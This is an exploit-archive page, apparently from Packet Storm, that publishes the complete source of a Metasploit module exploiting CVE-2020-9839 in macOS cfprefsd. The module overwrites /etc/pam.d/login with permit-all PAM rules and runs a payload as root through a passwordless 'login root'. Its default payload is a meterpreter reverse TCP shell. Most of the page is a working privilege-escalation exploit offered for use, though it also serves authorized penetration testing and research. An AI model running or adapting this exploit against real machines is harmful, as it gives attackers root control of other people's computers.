what you don't know can hurt you

macOS cfprefsd Arbitrary File Write / Local Privilege Escalation

macOS cfprefsd Arbitrary File Write / Local Privilege Escalation
Posted Sep 7, 2020
Authored by timwr, Insu Yun, Taesoo Kim, Jungwon Lim, Yonghwi Jin | Site metasploit.com

This Metasploit module exploits an arbitrary file write in cfprefsd on macOS versions 10.15.4 and below in order to run a payload as root. The CFPreferencesSetAppValue function, which is reachable from most unsandboxed processes, can be exploited with a race condition in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login a user can then login as root with the login root command without a password.

tags | exploit, arbitrary, root
advisories | CVE-2020-9839
MD5 | 5bc27419d79ae20808b9b53825a1e970

macOS cfprefsd Arbitrary File Write / Local Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
'Description' => %q{
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
order to run a payload as root. The CFPreferencesSetAppValue function, which is
reachable from most unsandboxed processes, can be exploited with a race condition
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
a user can then login as root with the `login root` command without a password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
'timwr' # metasploit integration
],
'References' => [
['CVE', '2020-9839'],
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', {} ],
],
'DisclosureDate' => 'Mar 18 2020'
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

@@target_file = "/etc/pam.d/login"
@@original_content = %q(# login: auth account password session
auth optional pam_krb5.so use_kcminit
auth optional pam_ntlm.so try_first_pass
auth optional pam_mount.so try_first_pass
auth required pam_opendirectory.so try_first_pass
account required pam_nologin.so
account required pam_opendirectory.so
password required pam_opendirectory.so
session required pam_launchd.so
session required pam_uwtmp.so
session optional pam_mount.so
)
@@replacement_content = %q(# login: auth account password session
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
)

def check
version = Gem::Version.new(get_system_version)
if version > Gem::Version.new('10.15.4')
CheckCode::Safe
elsif version < Gem::Version.new('10.15')
CheckCode::Safe
else
CheckCode::Appears
end
end

def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_and_chmodx payload_file, binary_payload
register_file_for_cleanup payload_file

current_content = read_file(@@target_file)
@restore_content = current_content

if current_content == @@replacement_content
print_warning("The contents of #{@@target_file} was already replaced")
elsif current_content != @@original_content
print_warning("The contents of #{@@target_file} did not match the expected contents")
@restore_content = nil
end

exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
upload_and_chmodx exploit_file, exploit_exe
register_file_for_cleanup exploit_file

exploit_cmd = "#{exploit_file} #{@@target_file}"
print_status("Executing exploit '#{exploit_cmd}'")
result = cmd_exec(exploit_cmd)
print_status("Exploit result:\n#{result}")
unless write_file(@@target_file, @@replacement_content)
print_error("#{@@target_file} could not be written")
end

login_cmd = "echo '#{payload_file} & disown' | login root"
print_status("Running cmd:\n#{login_cmd}")
result = cmd_exec(login_cmd)
unless result.blank?
print_status("Command output:\n#{result}")
end
end

def new_session_cmd(session, cmd)
if session.type.eql? 'meterpreter'
session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
else
session.shell_command_token cmd
end
end

def on_new_session(session)
return super unless @restore_content
if write_file(@@target_file, @restore_content)
new_session_cmd(session, "chgrp wheel #{@@target_file}")
new_session_cmd(session, "chown root #{@@target_file}")
new_session_cmd(session, "chmod 644 #{@@target_file}")
print_good("#{@@target_file} was restored")
else
print_error("#{@@target_file} could not be restored!")
end
super
end

end
Login or Register to add favorites

File Archive:

December 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    22 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close